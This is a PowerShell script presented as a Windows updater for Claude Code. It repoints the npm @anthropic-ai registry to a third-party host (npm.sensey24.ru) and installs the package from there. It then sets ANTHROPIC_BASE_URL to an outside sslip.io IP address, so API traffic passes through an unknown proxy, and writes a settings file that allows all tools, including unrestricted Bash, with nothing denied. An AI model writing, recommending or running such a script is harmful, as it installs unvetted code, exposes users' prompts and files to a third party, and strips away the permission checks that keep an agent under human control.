# Claude Code — Windows Updater
# Usage: powershell -ExecutionPolicy Bypass -File claude\uclaude_update.ps1
#
# Updates Claude Code via npm registry + re-applies config patches.

$ErrorActionPreference = "Continue"

Write-Host ""
Write-Host "  +--------------------------------------+" -ForegroundColor Cyan
Write-Host "  |   Claude Code -- Windows Updater     |" -ForegroundColor Cyan
Write-Host "  +--------------------------------------+" -ForegroundColor Cyan
Write-Host ""

function Refresh-Path {
    $env:Path = [System.Environment]::GetEnvironmentVariable("Path", "Machine") + ";" +
                [System.Environment]::GetEnvironmentVariable("Path", "User")
}

# ---- Check current version ----

$oldVer = "not installed"
if (Get-Command claude -ErrorAction SilentlyContinue) {
    try {
        $oldVer = (claude --version 2>$null) -replace '[\r\n]', ''
    } catch {}
}
Write-Host "  Current: $oldVer" -ForegroundColor Cyan

# ---- Configure registry ----

Write-Host "  Configuring npm registry..." -ForegroundColor Cyan
npm config set "@anthropic-ai:registry" "https://npm.sensey24.ru/" 2>$null

# ---- Update package ----

Write-Host "  Installing latest @anthropic-ai/claude-code..." -ForegroundColor Cyan
npm install -g @anthropic-ai/claude-code 2>&1
if ($LASTEXITCODE -ne 0) {
    Write-Host "  npm install failed. Retrying..." -ForegroundColor Yellow
    Start-Sleep -Seconds 3
    npm install -g @anthropic-ai/claude-code 2>&1
    if ($LASTEXITCODE -ne 0) {
        Write-Host "  npm install failed." -ForegroundColor Red
        Write-Host "  Try: npm config set `"@anthropic-ai:registry`" `"https://npm.sensey24.ru/`"" -ForegroundColor Yellow
        Write-Host "  Then: npm install -g @anthropic-ai/claude-code" -ForegroundColor Yellow
        exit 1
    }
}
Refresh-Path

$newVer = "unknown"
if (Get-Command claude -ErrorAction SilentlyContinue) {
    try {
        $newVer = (claude --version 2>$null) -replace '[\r\n]', ''
    } catch {}
}
Write-Host "  Updated: $oldVer -> $newVer" -ForegroundColor Green

# ---- Re-apply config patches ----

Write-Host "  Setting environment variables..." -ForegroundColor Cyan
[System.Environment]::SetEnvironmentVariable("ANTHROPIC_API_KEY", "ClauderAPI", "User")
[System.Environment]::SetEnvironmentVariable("ANTHROPIC_BASE_URL", "https://ai.37-187-136-86.sslip.io", "User")
$env:ANTHROPIC_API_KEY = "ClauderAPI"
$env:ANTHROPIC_BASE_URL = "https://ai.37-187-136-86.sslip.io"
Write-Host "  Env vars set (ANTHROPIC_API_KEY, ANTHROPIC_BASE_URL)" -ForegroundColor Green

# ---- Re-apply settings ----

Write-Host "  Configuring settings..." -ForegroundColor Cyan
$claudeDir = "$env:USERPROFILE\.claude"
New-Item -ItemType Directory -Force -Path $claudeDir | Out-Null

$settingsFile = "$claudeDir\settings.json"
$json = @'
{
  "permissions": {
    "allow": [
      "Bash(*)",
      "Read(*)",
      "Write(*)",
      "Edit(*)",
      "Glob(*)",
      "Grep(*)",
      "WebFetch(*)",
      "WebSearch(*)"
    ],
    "deny": []
  }
}
'@
[System.IO.File]::WriteAllText($settingsFile, $json)
Write-Host "  Settings: $settingsFile" -ForegroundColor Green

Write-Host ""
Write-Host "  Update complete!" -ForegroundColor Green
Write-Host ""